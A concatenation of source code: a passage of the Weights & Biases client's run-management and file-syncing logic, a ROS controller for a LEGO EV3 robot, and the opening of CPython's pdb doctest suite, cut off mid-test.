handler.on_renamed(event.dest_path, new_save_name) def _get_file_event_handler(self, file_path, save_name): """Get or create an event handler for a particular file. file_path: the file's actual path save_name: its path relative to the run directory (aka the watch directory) """ self._file_pusher.update_file(save_name, file_path) # track upload progress if save_name not in self._file_event_handlers: if save_name == 'wandb-history.jsonl': self._file_event_handlers['wandb-history.jsonl'] = FileEventHandlerTextStream( file_path, 'wandb-history.jsonl', self._api) elif save_name == 'wandb-events.jsonl': self._file_event_handlers['wandb-events.jsonl'] = FileEventHandlerTextStream( file_path, 'wandb-events.jsonl', self._api) elif 'tfevents' in save_name or 'graph.pbtxt' in save_name: # overwrite the tensorboard but not every reload -- just # frequently enough to resemble realtime self._file_event_handlers[save_name] = FileEventHandlerThrottledOverwrite( file_path, save_name, self._api, self._file_pusher) # Don't try to stream tensorboard files for now. # elif 'tfevents' in save_name: # # TODO: This is hard-coded, but we want to give users control # # over streaming files (or detect them). # self._api.get_file_stream_api().set_file_policy(save_name, # BinaryFilePolicy()) # self._file_event_handlers[save_name] = FileEventHandlerBinaryStream( # file_path, save_name, self._api) # Overwrite handler (non-deferred) has a bug, wherein if the file is truncated # during upload, the request to Google hangs (at least, this is my working # theory). So for now we defer uploading everything til the end of the run. # TODO: send wandb-summary during run. One option is to copy to a temporary # file before uploading. elif save_name == config.FNAME: self._file_event_handlers[save_name] = FileEventHandlerConfig( file_path, save_name, self._api, self._file_pusher, self._run) elif save_name == 'wandb-summary.json': # Load the summary into the syncer process for meta etc to work self._run.summary.load() self._api.get_file_stream_api().set_file_policy(save_name, OverwriteFilePolicy()) self._file_event_handlers[save_name] = FileEventHandlerSummary( file_path, save_name, self._api, self._file_pusher, self._run) elif save_name.startswith('media/') or save_name.startswith('code/') or save_name in ["requirements.txt", "diff.patch"]: # Save media files and special wandb files immediately self._file_event_handlers[save_name] = FileEventHandlerOverwrite( file_path, save_name, self._api, self._file_pusher) elif save_name == meta.METADATA_FNAME: self._file_event_handlers[save_name] = FileEventHandlerOverwriteOnce( file_path, save_name, self._api, self._file_pusher) else: Handler = FileEventHandlerOverwriteDeferred for policy, globs in six.iteritems(self._user_file_policies): if policy == "end": continue for g in globs: if any(save_name in p for p in glob.glob(os.path.join(self._run.dir, g))): if policy == "live": Handler = FileEventHandlerThrottledOverwriteMinWait self._file_event_handlers[save_name] = Handler( file_path, save_name, self._api, self._file_pusher) return self._file_event_handlers[save_name] """ RUN MANAGEMENT STUFF """ def mirror_stdout_stderr(self): """Simple STDOUT and STDERR mirroring used by _init_jupyter""" # TODO: Ideally we could start collecting logs without pushing fs_api = self._api.get_file_stream_api() io_wrap.SimpleTee(sys.stdout, streaming_log.TextStreamPusher( fs_api, util.OUTPUT_FNAME, prepend_timestamp=True)) io_wrap.SimpleTee(sys.stderr, streaming_log.TextStreamPusher( fs_api, util.OUTPUT_FNAME, prepend_timestamp=True, line_prepend='ERROR')) def unmirror_stdout_stderr(self): # Python 2 tests were failing... if hasattr(sys.stdout, "orig_write"): sys.stdout.write = sys.stdout.orig_write sys.stderr.write = sys.stderr.orig_write def _get_stdout_stderr_streams(self): """Sets up STDOUT and STDERR streams. Only call this once.""" if six.PY2 or not hasattr(sys.stdout, "buffer"): if hasattr(sys.stdout, "fileno") and sys.stdout.isatty(): try: stdout = os.fdopen(sys.stdout.fileno(), "w+", 0) stderr = os.fdopen(sys.stderr.fileno(), "w+", 0) # OSError [Errno 22] Invalid argument wandb except OSError: stdout = sys.stdout stderr = sys.stderr else: stdout = sys.stdout stderr = sys.stderr else: # we write binary so grab the raw I/O objects in python 3 try: stdout = sys.stdout.buffer.raw stderr = sys.stderr.buffer.raw except AttributeError: # The testing environment and potentially others may have screwed with their # io so we fallback to raw stdout / err stdout = sys.stdout.buffer stderr = sys.stderr.buffer output_log_path = os.path.join(self._run.dir, util.OUTPUT_FNAME) self._output_log = WriteSerializingFile(open(output_log_path, 'wb')) stdout_streams = [stdout, self._output_log] stderr_streams = [stderr, self._output_log] if self._cloud: # Tee stdout/stderr into our TextOutputStream, which will push lines to the cloud. fs_api = self._api.get_file_stream_api() self._stdout_stream = streaming_log.TextStreamPusher( fs_api, util.OUTPUT_FNAME, prepend_timestamp=True) self._stderr_stream = streaming_log.TextStreamPusher( fs_api, util.OUTPUT_FNAME, line_prepend='ERROR', prepend_timestamp=True) stdout_streams.append(self._stdout_stream) stderr_streams.append(self._stderr_stream) return stdout_streams, stderr_streams def _close_stdout_stderr_streams(self): """Close output-capturing stuff. This also flushes anything left in the buffers. """ # we don't have tee_file's in headless mode if self._stdout_tee.tee_file is not None: self._stdout_tee.tee_file.close() if self._stderr_tee.tee_file is not None: self._stderr_tee.tee_file.close() # TODO(adrian): we should close these even in headless mode # but in python 2 the read thread doesn't stop on its own # for some reason self._stdout_tee.close_join() self._stderr_tee.close_join() if self._cloud: # not set in dry run mode self._stdout_stream.close() self._stderr_stream.close() self._output_log.f.close() self._output_log = None def _setup_resume(self, resume_status): # write the tail of the history file try: history_tail = json.loads(resume_status['historyTail']) jsonlfile.write_jsonl_file(os.path.join(self._run.dir, wandb_run.HISTORY_FNAME), history_tail) except ValueError: logger.error("Couldn't parse history") wandb.termwarn("Couldn't load recent history, resuming may not function properly") # write the tail of the events file try: events_tail = json.loads(resume_status['eventsTail']) jsonlfile.write_jsonl_file(os.path.join(self._run.dir, wandb_run.EVENTS_FNAME), events_tail) except ValueError: logger.error("Couldn't parse system metrics / events") # load the previous runs summary to avoid losing it, the user process will need to load it self._run.summary.update(json.loads(resume_status['summaryMetrics'] or "{}")) # load the previous runs config self._run.config.load_json(json.loads(resume_status.get('config') or "{}")) self._run.config.persist() # Note: these calls need to happen after writing the files above. Because the access # to self._run.events below triggers events to initialize, but we need the previous # events to be written before that happens. # output.log self._api.get_file_stream_api().set_file_policy( util.OUTPUT_FNAME, CRDedupeFilePolicy(resume_status['logLineCount'])) # history self._api.get_file_stream_api().set_file_policy( wandb_run.HISTORY_FNAME, DefaultFilePolicy( start_chunk_id=resume_status['historyLineCount'])) self._file_event_handlers[wandb_run.HISTORY_FNAME] = FileEventHandlerTextStream( self._run.history.fname, wandb_run.HISTORY_FNAME, self._api, seek_end=resume_status['historyLineCount'] > 0) # events self._api.get_file_stream_api().set_file_policy( wandb_run.EVENTS_FNAME, DefaultFilePolicy( start_chunk_id=resume_status['eventsLineCount'])) self._file_event_handlers[wandb_run.EVENTS_FNAME] = FileEventHandlerTextStream( self._run.events.fname, wandb_run.EVENTS_FNAME, self._api, seek_end=resume_status['eventsLineCount'] > 0) def init_run(self, env=None): """Ensure we create a Run (Bucket) object We either create it now or, if the API call fails for some reason (eg. the network is down), we do it from a thread that we start. We hold off file syncing and streaming until it succeeds. Returns the initial step of the run, or None if we didn't create a run """ io_wrap.init_sigwinch_handler() self._check_update_available(__version__) if self._output: wandb.termlog("Run data is saved locally in %s" % os.path.relpath(self._run.dir)) self._system_stats.start() self._meta.start() logger.info("system metrics and metadata threads started") new_step = None if self._cloud: storage_id = None if self._run.resume != 'never': # DNS can hang for 60 seconds, we check for resume status in a thread # TODO: Ideally this thread would continue retrying in case of failure. # Currently we assume we're not resuming in the case of resume = auto, # and we throw an error in the case of resume = must. logger.info("checking resume status, waiting at most %d seconds" % InternalApi.HTTP_TIMEOUT) async_resume_status = util.async_call(self._api.run_resume_status, InternalApi.HTTP_TIMEOUT) resume_status, thread = async_resume_status(self._api.settings("entity"), self._project, self._run.id) if resume_status == None and self._run.resume == 'must': if thread.isAlive(): raise LaunchError( "resume='must' but we were unable to connect to the W&B service after %i seconds" % InternalApi.HTTP_TIMEOUT) else: raise LaunchError( "resume='must' but run (%s) doesn't exist" % self._run.id) if resume_status: storage_id = resume_status['id'] logger.info("resuming run from id: %s" % storage_id) self._project = self._resolve_project_name(self._project) self._setup_resume(resume_status) try: history = json.loads(json.loads(resume_status['historyTail'])[-1]) except (IndexError,ValueError): history = {} new_step = history.get("_step", 0) else: new_step = 0 # DNS lookups can hang for upto 60 seconds, we wait for HTTP_TIMEOUT (10s) logger.info("upserting run before process can begin, waiting at most %d seconds" % InternalApi.HTTP_TIMEOUT) async_upsert = util.async_call(self._upsert_run, timeout=InternalApi.HTTP_TIMEOUT) _, self._upsert_run_thread = async_upsert(True, storage_id, env) if self._upsert_run_thread.isAlive(): logger.error("Failed to connect to W&B servers after %i seconds.\ Letting user process proceed while attempting to reconnect." % InternalApi.HTTP_TIMEOUT) return new_step def _upsert_run(self, retry, storage_id, env): """Upsert the Run (ie. for the first time with all its attributes) Arguments: retry: (bool) Whether to retry if the connection fails (ie. if the backend is down). False is useful so we can start running the user process even when the W&B backend is down, and let syncing finish later. Returns: True if the upsert succeeded, False if it failed because the backend is down. Throws: LaunchError on other failures """ if retry: num_retries = None else: num_retries = 0 # no retries because we want to let the user process run even if the backend is down try: self._run.save( id=storage_id, num_retries=num_retries, api=self._api) except CommError as e: logger.exception("communication error with wandb %s" % e.exc) # TODO: Get rid of str contains check if self._run.resume == 'never' and 'exists' in str(e): raise LaunchError( "resume='never' but run (%s) exists" % self._run.id) else: # Detect bad request code -- this is usually trying to # create a run that has been already deleted if (isinstance(e.exc, requests.exceptions.HTTPError) and e.exc.response.status_code == 400): raise LaunchError( 'Failed to connect to W&B. See {} for details.'.format( util.get_log_file_path())) if isinstance(e.exc, (requests.exceptions.HTTPError, requests.exceptions.Timeout, requests.exceptions.ConnectionError)): wandb.termerror( 'Failed to connect to W&B. Retrying in the background.') return False launch_error_s = 'Launch exception: {}\nTo disable wandb syncing set WANDB_MODE=dryrun'.format(e) raise LaunchError(launch_error_s) if self._output: if self._run.resumed: run_state_str = "Resuming run" else: run_state_str = "Syncing run" wandb.termlog("{} {}".format(run_state_str, click.style(self._run.name, fg="yellow"))) try: url = self._run.get_url(self._api) emojis = {} if platform.system() != "Windows": emojis = dict(star="⭐️", broom="🧹", rocket="🚀") project_url = self._run.get_project_url(self._api) wandb.termlog("{} View project at {}".format( emojis.get("star", ""), click.style(project_url, underline=True, fg='blue'))) sweep_url = self._run.get_sweep_url(self._api) if sweep_url: wandb.termlog("{} View sweep at {}".format( emojis.get("broom", ""), click.style(sweep_url, underline=True, fg='blue'))) wandb.termlog("{} View run at {}".format( emojis.get("rocket", ""), click.style(url, underline=True, fg='blue'))) except CommError as e: wandb.termwarn(e.message) wandb.termlog("Run `wandb off` to turn off syncing.") env = self._run.set_environment(environment=env) if not env.get(wandb_env.DISABLE_CODE): logger.info("saving patches") self._api.save_patches(self._run.dir) if env.get("SPELL_RUN_URL"): self._api.sync_spell(self._run, env) logger.info("saving pip packages") self._api.save_pip(self._run.dir) logger.info("initializing streaming files api") self._api.get_file_stream_api().set_default_file_policy( util.OUTPUT_FNAME, CRDedupeFilePolicy()) self._api.get_file_stream_api().start() self._project = self._api.settings("project") # unblock file syncing and console streaming, which need the Run to have a .storage_id logger.info("unblocking file change observer, beginning sync with W&B servers") self._unblock_file_observer() return True def shutdown(self, exitcode=0): """Stops system stats, streaming handlers, and uploads files without output, used by wandb.monitor""" logger.info("shutting down system stats and metadata service") self._system_stats.shutdown() self._meta.shutdown() for watcher in self._tensorboard_watchers: watcher.shutdown() if self._tensorboard_consumer: self._tensorboard_consumer.shutdown() if self._run_status_checker: self._run_status_checker.shutdown() if self._cloud: logger.info("stopping streaming files and file change observer") self._end_file_syncing(exitcode) self._run.history.close() def run_user_process(self, program, args, env): """Launch a user process, capture its output, and sync its files to the backend. This returns after the process has ended and syncing is done. Captures ctrl-c's, signals, etc. """ stdout_streams, stderr_streams = self._get_stdout_stderr_streams() if platform.system() == "Windows": # PTYs don't work in windows so we use pipes. self._stdout_tee = io_wrap.Tee.pipe(*stdout_streams) self._stderr_tee = io_wrap.Tee.pipe(*stderr_streams) # Seems like the following actually isn't necessary on Windows # TODO(adrian): we may need to do the following if we use pipes instead of PTYs # because Python on Unix doesn't like writing UTF-8 to files # tell child python interpreters we accept utf-8 # env['PYTHONIOENCODING'] = 'UTF-8' else: self._stdout_tee = io_wrap.Tee.pty(*stdout_streams) self._stderr_tee = io_wrap.Tee.pty(*stderr_streams) command = [program] + list(args) runner = util.find_runner(program) if runner: command = runner + command if platform.system() == "Windows": command = ' '.join(windows.quote_arg(arg) for arg in command) else: command = ' '.join(six.moves.shlex_quote(arg) for arg in command) self._stdout_stream.write_string(command + "\n\n") try: self.proc = subprocess.Popen( command, env=env, stdout=self._stdout_tee.tee_file, stderr=self._stderr_tee.tee_file, shell=True, ) self._run.pid = self.proc.pid except (OSError, IOError): raise Exception('Could not find program: %s' % command) self._sync_etc() def wrap_existing_process(self, pid, stdout_read_fd, stderr_read_fd, port=None): """Do syncing, etc. for an already-running process. This returns after the process has ended and syncing is done. Captures ctrl-c's, signals, etc. """ stdout_read_file = os.fdopen(stdout_read_fd, 'rb') stderr_read_file = os.fdopen(stderr_read_fd, 'rb') stdout_streams, stderr_streams = self._get_stdout_stderr_streams() self._stdout_tee = io_wrap.Tee(stdout_read_file, *stdout_streams) self._stderr_tee = io_wrap.Tee(stderr_read_file, *stderr_streams) self.proc = Process(pid) self._run.pid = pid logger.info("wrapping existing process %i" % pid) try: self.init_run() except LaunchError as e: logger.exception("catostrophic launch error") wandb.termerror(str(e)) util.sentry_exc(e) self._socket.launch_error() return if io_wrap.SIGWINCH_HANDLER is not None: # SIGWINCH_HANDLER (maybe) gets set in self.init_run() io_wrap.SIGWINCH_HANDLER.add_fd(stdout_read_fd) io_wrap.SIGWINCH_HANDLER.add_fd(stderr_read_fd) # Signal the main process that we're all hooked up logger.info("informing user process we are ready to proceed") self._socket.ready() self._sync_etc(headless=True) def _check_update_available(self, current_version): timeout = 2 # Two seconds. pypi_url = 'https://pypi.org/pypi/wandb/json' try: data = requests.get(pypi_url, timeout=timeout).json() latest_version = data['info']['version'] except: # Any issues whatsoever, just skip the latest version check. return # Return if no update is available if parse_version(latest_version) <= parse_version(current_version): return # A new version is available! wandb.termlog( "Wandb version %s is available! To upgrade, please run:\n $ pip install wandb --upgrade" % latest_version) def update_user_file_policy(self, policy): with self._file_policy_lock: for path in glob.glob(policy["glob"]): save_name = os.path.relpath(path, self._run.dir) # Remove the existing handler if we haven't already made it live current = self._file_event_handlers.get(save_name) is_live = isinstance(current, FileEventHandlerThrottledOverwriteMinWait) if current and policy["policy"] == "live" and not is_live: del self._file_event_handlers[save_name] self._user_file_policies[policy["policy"]].append(policy["glob"]) def start_tensorboard_watcher(self, logdir, save=True): try: from wandb.tensorboard.watcher import Watcher, Consumer dirs = [logdir] + [w.logdir for w in self._tensorboard_watchers] rootdir = os.path.dirname(os.path.commonprefix(dirs)) if os.path.isfile(logdir): filename = os.path.basename(logdir) else: filename = "" # Tensorboard loads all tfevents files in a directory and prepends # their values with the path. Passing namespace to log allows us # to nest the values in wandb namespace = logdir.replace(filename, "").replace( rootdir, "").strip(os.sep) # TODO: revisit this heuristic, it exists because we don't know the # root log directory until more than one tfevents file is written to if len(dirs) == 1 and namespace not in ["train", "validation"]: namespace = None with self._tensorboard_lock: self._tensorboard_watchers.append(Watcher(logdir, self._watcher_queue, namespace=namespace, save=save)) if self._tensorboard_consumer is None: self._tensorboard_consumer = Consumer(self._watcher_queue) self._tensorboard_consumer.start() self._tensorboard_watchers[-1].start() return self._tensorboard_watchers except ImportError: wandb.termerror("Couldn't import tensorboard, not streaming events. Run `pip install tensorboard`") def _sync_etc(self, headless=False): # Ignore SIGQUIT (ctrl-\). The child process will handle it, and we'll # exit when the child process does. # # We disable these signals after running the process so the child doesn't # inherit this behaviour. try: signal.signal(signal.SIGQUIT, signal.SIG_IGN) except (AttributeError, ValueError): # SIGQUIT doesn't exist on windows, we can't use signal.signal in threads for tests pass # When not running in agent mode, start a status checker. # TODO(adrnswanberg): Remove 'stop' command checking in agent code, # and unconditionally start the status checker. if self._run.sweep_id is None: def stop_handler(): if isinstance(self.proc, Process): # self.proc is a `Process` whenever we're the child process. self.proc.interrupt() else: sig = signal.SIGINT # We only check for windows in this block because on windows we # always use `wandb run` (meaning we're the parent process). if platform.system() == "Windows": sig = signal.CTRL_C_EVENT # pylint: disable=no-member self.proc.send_signal(sig) if self._cloud: self._run_status_checker = RunStatusChecker( self._run, self._api, stop_requested_handler=stop_handler) # Add a space before user output wandb.termlog() if wandb_env.get_show_run(): try: webbrowser.open_new_tab(self._run.get_url(self._api)) except CommError: pass exitcode = None try: payload = b'' parse = False logger.info("entering loop for messages from user process") while True: res = bytearray() # We received multiple messages from the last socket read if payload.find(b'\0') != -1: res = payload payload = b'' else: try: res = self._socket.recv(1024) except socket.error as e: # https://stackoverflow.com/questions/16094618/python-socket-recv-and-signals if e.errno == errno.EINTR or isinstance(e, socket.timeout): pass else: raise e term = res.find(b'\0') if term != -1: payload += res[:term] parse = True else: payload += res if parse: logger.info("received message from user process: %s" % payload.decode('utf8')) try: parsed = json.loads(payload.decode('utf8')) except ValueError: parsed = {} if parsed.get("exitcode") is not None: exitcode = parsed["exitcode"] break elif parsed.get("save_policy"): self.update_user_file_policy(parsed["save_policy"]) payload = b'' parse = False elif parsed.get("tensorboard"): if parsed["tensorboard"].get("logdir"): self.start_tensorboard_watcher(parsed["tensorboard"]["logdir"], parsed["tensorboard"]["save"]) payload = b'' parse = False else: message = "Invalid message received from child process: %s" % str( payload) wandb.termerror(message) util.sentry_exc(message) break new_start = term + 1 # There's more to parse, add the remaining bytes if len(res) > new_start: payload = res[new_start:] else: exitcode = self.proc.poll() if exitcode is not None: break time.sleep(1) except KeyboardInterrupt: logger.info("process received interrupt signal, shutting down") exitcode = 255 if headless: wandb.termlog('Ctrl-c pressed.') else: wandb.termlog( 'Ctrl-c pressed; waiting for program to end. Press ctrl-c again to kill it.') try: logger.info("waiting for process to finish") while self.proc.poll() is None: time.sleep(0.1) except KeyboardInterrupt: pass if self.proc.poll() is None: logger.info("killing user process") wandb.termlog('Program still alive. Killing it.') try: self.proc.kill() except OSError: pass """TODO(adrian): garbage that appears in the logs sometimes Exception ignored in: <bound method Popen.__del__ of <subprocess.Popen object at 0x111adce48>> Traceback (most recent call last): File "/Users/adrian/.pyenv/versions/3.6.0/Python.framework/Versions/3.6/lib/python3.6/subprocess.py", line 760, in __del__ AttributeError: 'NoneType' object has no attribute 'warn' """ if exitcode is None: exitcode = 254 wandb.termlog( 'Killing program failed; syncing files anyway. Press ctrl-c to abort syncing.') else: if exitcode == 0: wandb.termlog('Program ended successfully.') resume_path = os.path.join(wandb.wandb_dir(), wandb_run.RESUME_FNAME) if os.path.exists(resume_path): os.remove(resume_path) else: wandb.termlog( 'Program failed with code %d. Press ctrl-c to abort syncing.' % exitcode) self._meta.data["exitcode"] = exitcode if exitcode == 0: self._meta.data["state"] = "finished" elif exitcode == 255: self._meta.data["state"] = "killed" else: self._meta.data["state"] = "failed" # TODO(adrian): these can be slow to complete (due to joining?) logger.info("closing log streams and sending exitcode to W&B") self._close_stdout_stderr_streams() self.shutdown(exitcode) crash_nosync_time = wandb_env.get_crash_nosync_time(self.CRASH_NOSYNC_TIME) # If we're not syncing to the cloud, we're done if not self._cloud: wandb.termlog("You can sync this run to the cloud by running: ") wandb.termlog("wandb sync %s" % os.path.relpath(self._run.dir)) sys.exit(exitcode) elif exitcode != 0 and crash_nosync_time and time.time() - START_TIME < crash_nosync_time: wandb.termlog("Process crashed early, not syncing files") logger.info("process only ran for %d seconds, not syncing files" % (time.time() - START_TIME)) sys.exit(exitcode) # Show run summary/history self._run.summary.load() summary = self._run.summary._json_dict if len(summary): logger.info("rendering summary") wandb.termlog('Run summary:') max_len = max([len(k) for k in summary.keys()]) format_str = ' {:>%s} {}' % max_len for k, v in summary.items(): # arrays etc. might be too large. for now we just don't print them if isinstance(v, six.string_types): if len(v) >= 20: v = v[:20] + '...' wandb.termlog(format_str.format(k, v)) elif isinstance(v, numbers.Number): wandb.termlog(format_str.format(k, v)) self._run.history.load() history_keys = self._run.history.keys() # Only print sparklines if the terminal is utf-8 # In some python 2.7 tests sys.stdout is a 'cStringIO.StringO' object # which doesn't have the attribute 'encoding' if len(history_keys) and hasattr(sys.stdout, 'encoding') and sys.stdout.encoding == "UTF_8": logger.info("rendering history") wandb.termlog('Run history:') max_len = max([len(k) for k in history_keys]) for key in history_keys: vals = util.downsample(self._run.history.column(key), 40) if any((not isinstance(v, numbers.Number) for v in vals)): continue line = sparkline.sparkify(vals) format_str = u' {:>%s} {}' % max_len wandb.termlog(format_str.format(key, line)) wandb_files = set([save_name for save_name in self._file_pusher.files() if util.is_wandb_file(save_name)]) media_files = set([save_name for save_name in self._file_pusher.files() if save_name.startswith('media')]) other_files = set(self._file_pusher.files()) - wandb_files - media_files logger.info("syncing files to cloud storage") if other_files: wandb.termlog('Syncing files in %s:' % os.path.relpath(self._run.dir)) for save_name in sorted(other_files): wandb.termlog(' %s' % save_name) wandb.termlog('plus {} W&B file(s) and {} media file(s)'.format(len(wandb_files), len(media_files))) else: wandb.termlog('Syncing {} W&B file(s) and {} media file(s)'.format(len(wandb_files), len(media_files))) self._file_pusher.update_all_files() self._file_pusher.print_status() try: url = self._run.get_url(self._api) wandb.termlog('Synced{} {}'.format(format_run_name(self._run), url)) logger.info("syncing complete: %s" % url) except CommError as e: wandb.termwarn(e.message) sys.exit(exitcode)
controller.py
# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. #!/usr/bin/env python3 print('Starting up...') print('Loading EV3 dependencies...') from ev3dev2.motor import OUTPUT_A, OUTPUT_B, SpeedPercent, MoveSteering, MoveDifferential, MoveTank from ev3dev2.wheel import EV3Tire from ev3dev2.button import Button from ev3dev2.sensor.lego import InfraredSensor, TouchSensor, ColorSensor from ev3dev2.sound import Sound from ev3dev2.led import Leds from ev3dev2.power import PowerSupply steering_drive = MoveSteering(OUTPUT_A, OUTPUT_B) STUD_MM = 8 mdiff = MoveDifferential(OUTPUT_A, OUTPUT_B, EV3Tire, 16 * STUD_MM) steering_drive.on(0, SpeedPercent(0)) print('Motors initialized') print('Loading ROS and other dependencies...') import rospy from std_msgs.msg import String from geometry_msgs.msg import Twist import json from time import sleep from math import degrees import threading import datetime from random import uniform class EV3DEV(object): def __init__(self): self.exit = True self.callback_exit = True # Connect sensors and buttons. self.btn = Button() self.ir = InfraredSensor() self.ts = TouchSensor() self.power = PowerSupply() self.tank_drive = MoveTank(OUTPUT_A, OUTPUT_B) print('EV3 Node init starting') rospy.init_node('ev3_robot', anonymous=True, log_level=rospy.DEBUG) print('EV3 Node init complete') rospy.Subscriber('ev3/active_mode', String, self.active_mode_callback, queue_size=1) self.power_init() print('READY!') def active_mode_callback(self, data): try: rospy.logdebug('Active mode: {}'.format(data)) self.active_mode = data.data self.check_thread() if data.data == 'charge': thread = self.ir_init() sleep(1) self.charge(100, 15) thread.do_run = False thread.join() elif data.data == 'halt': self.halt() elif data.data == 'return': self.return_home() elif data.data == 'square': self.square() elif data.data == 'snake': self.snake() elif data.data == 'spin': self.spin() elif data.data == 'tracking': self.ros_drive('tracking', 'cmd_vel') sleep(1) self.halt() elif data.data == 'joystick': self.ros_drive('joystick', 'ev3/cmd_vel') except Exception as e: rospy.logdebug(e) def power_init(self): thread = threading.Thread(target=self.power_thread, args=("task",)) thread.daemon = True thread.start() return thread def power_thread(self, arg): while True: try: print('{} V'.format(self.power.measured_voltage/1000000)) print('{} A'.format(self.power.measured_current/1000000)) sleep(2) except Exception as e: rospy.logdebug(e) break def ir_init(self): thread = threading.Thread(target=self.ir_sensor_thread) thread.daemon = True thread.start() return thread def ir_sensor_thread(self): t = threading.currentThread() while getattr(t, "do_run", True): self.distance = self.ir.proximity sleep(0.2) print("Stopping IR thread...") def check_thread(self): while not self.exit: sleep(0.5) while not self.callback_exit: sleep(0.5) def charge(self, speed, min_distance): while self.distance > min_distance: self.tank_drive.on(SpeedPercent(speed), SpeedPercent(speed)) self.halt() def square(self): for i in range(0,4): self.tank_drive.on_for_rotations(SpeedPercent(50), SpeedPercent(50), 2) self.tank_drive.on_for_rotations(SpeedPercent(50), SpeedPercent(-50), 0.94) self.halt() def snake(self): self.halt() turn1 = 60 turn2 = 30 t = 0.3 for i in range(0,3): # "on" function used here with sleep in order to not stop between # steps and has a smooth transition self.tank_drive.on(SpeedPercent(turn1), SpeedPercent(turn2)) sleep(t) self.tank_drive.on(SpeedPercent(turn2), SpeedPercent(turn1)) sleep(t) self.tank_drive.on(SpeedPercent(turn2), SpeedPercent(turn1)) sleep(t) self.tank_drive.on(SpeedPercent(turn1), SpeedPercent(turn2)) sleep(t) self.tank_drive.on(SpeedPercent(0), SpeedPercent(0)) def spin(self): speed = 100 t = 4 self.tank_drive.on_for_seconds(SpeedPercent(-speed), SpeedPercent(speed), t) self.tank_drive.on_for_seconds(SpeedPercent(speed), SpeedPercent(-speed), t) self.halt() def halt(self): self.tank_drive.on(SpeedPercent(0), SpeedPercent(0)) def return_home(self): self.tank_drive.on_for_rotations(SpeedPercent(-50), SpeedPercent(-50), 6) self.halt() def random_turn(self): self.tank_drive.on(SpeedPercent(-50), SpeedPercent(-50)) sleep(0.8) t = uniform(0, 2) self.tank_drive.on(SpeedPercent(50), SpeedPercent(-50)) sleep(t) def ros_drive(self, action, topic): thread = threading.Thread(target=self.ros_drive_thread, args=(action, topic)) thread.daemon = True thread.start() return thread def ros_drive_thread(self, action, topic): self.exit = False sub = rospy.Subscriber(topic, Twist, self.ros_drive_callback) while self.active_mode == action: sleep(0.5) sub.unregister() print('topic {} unregistered'.format(topic)) self.halt() self.exit = True def ros_drive_callback(self, data): try: print('x: {} z: {}'.format(data.linear.x, data.angular.z)) self.callback_exit = False x = data.linear.x z = data.angular.z default_speed = 20 speed_factor = 100 turn_factor = 0.628 if self.ts.is_pressed: self.random_turn() else: if x == 0 and z != 0: if z > 0: print('left') mdiff.turn_left(SpeedPercent(default_speed), degrees(abs(z)), brake=False, block=False) elif z < 0: print('right') mdiff.turn_right(SpeedPercent(default_speed), degrees(abs(z)), brake=False, block=False) elif x > 0: print('forward') steering_drive.on(degrees(z)*turn_factor, SpeedPercent(x*speed_factor)) elif x < 0: print('backward') steering_drive.on(degrees(z)*turn_factor, SpeedPercent(x*speed_factor)) elif x == 0 and z == 0: print('stop') steering_drive.on(0, SpeedPercent(0)) self.callback_exit = True except Exception as e: print(e) if __name__ == '__main__': try: while True: try: print('Getting ROS Master state...') state = rospy.get_master().getSystemState() break except Exception as e: print(e) print('ROS Master signal not found, retrying...') sleep(2) e = EV3DEV() while True: try: state = rospy.get_master().getSystemState() sleep(2) except Exception as e: print(e) print('ROS Master signal lost, shutting down...\n\n') break except Exception as e: print(e)
test_pdb.py
# A test suite for pdb; not very comprehensive at the moment. import doctest import pdb import sys import types import unittest import subprocess import textwrap from test import support # This little helper class is essential for testing pdb under doctest. from test.test_doctest import _FakeInput class PdbTestInput(object): """Context manager that makes testing Pdb in doctests easier.""" def __init__(self, input): self.input = input def __enter__(self): self.real_stdin = sys.stdin sys.stdin = _FakeInput(self.input) self.orig_trace = sys.gettrace() if hasattr(sys, 'gettrace') else None def __exit__(self, *exc): sys.stdin = self.real_stdin if self.orig_trace: sys.settrace(self.orig_trace) def test_pdb_displayhook(): """This tests the custom displayhook for pdb. >>> def test_function(foo, bar): ... import pdb; pdb.Pdb(nosigint=True).set_trace() ... pass >>> with PdbTestInput([ ... 'foo', ... 'bar', ... 'for i in range(5): print(i)', ... 'continue', ... ]): ... test_function(1, None) > <doctest test.test_pdb.test_pdb_displayhook[0]>(3)test_function() -> pass (Pdb) foo 1 (Pdb) bar (Pdb) for i in range(5): print(i) 0 1 2 3 4 (Pdb) continue """ def test_pdb_basic_commands(): """Test the basic commands of pdb. >>> def test_function_2(foo, bar='default'): ... print(foo) ... for i in range(5): ... print(i) ... print(bar) ... for i in range(10): ... never_executed ... print('after for') ... print('...') ... return foo.upper() >>> def test_function(): ... import pdb; pdb.Pdb(nosigint=True).set_trace() ... ret = test_function_2('baz') ... print(ret) >>> with PdbTestInput([ # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE ... 'step', # entering the function call ... 'args', # display function args ... 'list', # list function source ... 'bt', # display backtrace ... 'up', # step up to test_function() ... 'down', # step down to test_function_2() again ... 'next', # stepping to print(foo) ... 'next', # stepping to the for loop ... 'step', # stepping into the for loop ... 'until', # continuing until out of the for loop ... 'next', # executing the print(bar) ... 'jump 8', # jump over second for loop ... 'return', # return out of function ... 'retval', # display return value ... 'continue', ... ]): ... test_function() > <doctest test.test_pdb.test_pdb_basic_commands[1]>(3)test_function() -> ret = test_function_2('baz') (Pdb) step --Call-- > <doctest test.test_pdb.test_pdb_basic_commands[0]>(1)test_function_2() -> def test_function_2(foo, bar='default'): (Pdb) args foo = 'baz' bar = 'default' (Pdb) list 1 -> def test_function_2(foo, bar='default'): 2 print(foo) 3 for i in range(5): 4 print(i) 5 print(bar) 6 for i in range(10): 7 never_executed 8 print('after for') 9 print('...') 10 return foo.upper() [EOF] (Pdb) bt ... <doctest test.test_pdb.test_pdb_basic_commands[2]>(18)<module>() -> test_function() <doctest test.test_pdb.test_pdb_basic_commands[1]>(3)test_function() -> ret = test_function_2('baz') > <doctest test.test_pdb.test_pdb_basic_commands[0]>(1)test_function_2() -> def test_function_2(foo, bar='default'): (Pdb) up > <doctest test.test_pdb.test_pdb_basic_commands[1]>(3)test_function() -> ret = test_function_2('baz') (Pdb) down > <doctest 